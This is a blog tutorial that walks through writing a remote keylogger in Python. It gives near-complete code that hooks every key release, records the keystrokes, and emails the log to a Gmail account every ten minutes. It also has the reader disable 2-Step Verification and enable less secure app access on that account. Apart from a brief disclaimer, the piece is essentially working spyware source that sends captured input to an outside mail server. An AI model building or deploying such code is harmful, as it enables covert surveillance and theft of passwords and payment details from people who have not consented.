How to Write a Keylogger in Python from Scratch

Abdou Rockikz · 04 aug 2019

Abdou Rockikz · 6 min read · Updated oct 2019 · Ethical Hacking

A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard, head to this link for more information. In this tutorial, you will learn how to write a remote keylogger in Python.

You are maybe wondering, why a keylogger is useful ? Well, when a hacker ( or script kiddie ) uses this for unethical purposes, he/she will register everything you type in the keyboard including your credentials ( credit card numbers, passwords, etc. ). The goal of this tutorial is to make you aware of these kind of scripts as well as learning how to implement such malicious scripts on your own for educational purposes, let's get started!

First, we gonna need to install a module called keyboard, go to the terminal or the command prompt and write:

pip3 install keyboard

Basically, this module allows us to take full control of your keyboard, hook global events, register hotkeys, simulate key presses and much more, and it is very small module though.

So, here is what we gonna do:

  • Listen to keystrokes.
  • Add the character pressed to a global log variable.
  • Every N minutes , send all the key logs to an email (that is why it is called a remote keylogger).

Let us start by import the necessary modules:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

So, as I said, we gonna need to create a new gmail account and make sure that:

  • Less secure app access is on ( we need to enable it because we will log in using smtplib in Python ).
  • 2-Step Verification is off.

Like it is shown in these two figures:

Enabling Less secure app access

Disabling 2-Step Verification

Now let's initialize our parameters:

SEND_REPORT_EVERY = 600 # 10 minutes
EMAIL_ADDRESS = "thisisafakegmail@gmail.com"
EMAIL_PASSWORD = "thisisafakepassword"

Note: You need to put correct gmail credentials, otherwise it won't work.

I need to mention that we are going to use Object-Oriented Programming in this example, so we are going to make a Keylogger class that contains methods for each task:

class Keylogger:
    def __init__(self, interval):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # for blocking after setting the on_release listener
        self.semaphore = Semaphore(0)

We have used a semaphore here, if you are not familiar with it, it isn't a problem, we gonna need it just for blocking the current thread ( i.e the whole script ).

Now, we gonna need to use on_release() function that takes a callback that for every KEY_UP event ( whenever you release a key in the keyboard ), it will get called, this callback takes one parameter which is a KeyboardEvent that have the name attribute , let's implement it:

    def callback(self, event):
        """This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)"""
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name

So whenever a key is released, the button pressed is appended to self.log string variable.

Then we gonna need to implement the function that given a message (in this case, key logs), it sends it to an email:

    def sendmail(self, email, password, message):
        # manages a connection to the SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session
        server.quit()

The function that sends the email after every period of time:

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            # print(self.log)
        self.log = ""
        Timer(interval=self.interval, function=self.report).start()

So we are checking if the self.log variable got something (the user pressed something in that period), if it is the case, then send it to that email.

And then we passed the interval (in this tutorial, I've set it to 10 minutes, feel free to adjust it on your needs) and the function self.report() to Timer() class, and then call the start() method immediately (since we don't need the object anyways).

Now, self.report() will call itself recursively each self.interval seconds in separate threads.

Let's define the function that calls the on_release() method:

    def start(self):
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread,
        # since on_release() doesn't block the current thread
        # if we don't block it, when we execute the program, nothing will happen
        # that is because on_release() will start the listener in a separate thread
        self.semaphore.acquire()

For more information about how to use keyboard module, check this tutorial.

We are basically done with the Keylogger class, all we need to do now is to instantiate this class we have just created:

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    keylogger.start()

When you execute the script, it will record your keystrokes, after each 10 minutes, it will send all logs to the email, give it a try!

Check the full code here.

Here is what I got in my email after 10 minutes:

Keylogger results

This was actually what I've pressed in my personal keyboard that whole period!

DISCLAIMER: Note that I'm not responsible for using this code on a computer you don't have permission to, use it at your own risk!

Happy Coding ♥

View Full Code
Sharing is caring!


Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.